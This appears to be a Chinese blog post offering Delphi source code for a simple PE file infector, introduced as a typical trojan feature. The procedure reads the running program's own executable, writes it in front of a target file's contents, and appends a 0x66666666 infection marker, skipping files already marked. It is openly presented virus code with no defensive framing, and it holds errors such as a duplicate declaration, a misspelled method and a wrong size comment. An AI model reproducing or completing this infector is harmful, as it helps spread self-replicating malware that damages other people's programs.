delphi 简单PE文件感染源码!

文件感染是木马故有的特征,其实实现这样的功能并不难!下面是一个简单实例的源码:

procedure copy(s:string);///S:目标文件完整文件名(带路径的)
var
s1,s2,s3:tmemorystream; //内存流
file1:tfilestream;//文件流
id:integer;
iid:longint;
const
id=$66666666;//感染标识
begin
file1:=tfilestream.Create(s,fmopenread);//将目标文件读入文件流
if file1.Size>1024000 then //如果目标文件大于10M则退出
    begin
    file1.Free;
    close;
    end
    else
    begin
    file1.Free;//比较完毕释放文件流
s1:=tmemorystream.Create;//创建内存流
s1.LoadFromFile(paramstr(0));//将病毒自身读入临时内存流
s2:=tmemorystream.Create;
s2.CopyFrom(s1,s1.Size);//将病毒流写入主内存流
s1.Clear;
s3:=tmemorystream.creat;
s3.LoadFromFile(s);//装入目标文件
s3.seek(-4,sofromend);//定位到文件的最后4个字节
s3.read(iid,4);//读取最后4个字节
if iid=id then //判断是否感染
begin
s3.free;//如果感染过了就退出
close;
end
else
begin
s1.loadfromfile(s);//将目标文件装入临时流
s2.Seek(s2.Size,sofrombeginning);//定位到主内存流的尾部
s2.CopyFrom(s1,s1.Size);//写入目标文件到主内存流
s1.Free;
s2.seek(0,sofromend);//定位到尾部
iid:=$66666666;
s2.write(iid,4);//写入感染标识
s2.SaveToFile(s);//将主内存流写入目标文件完成感染
s2.Free;
      end;
    end;
end;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值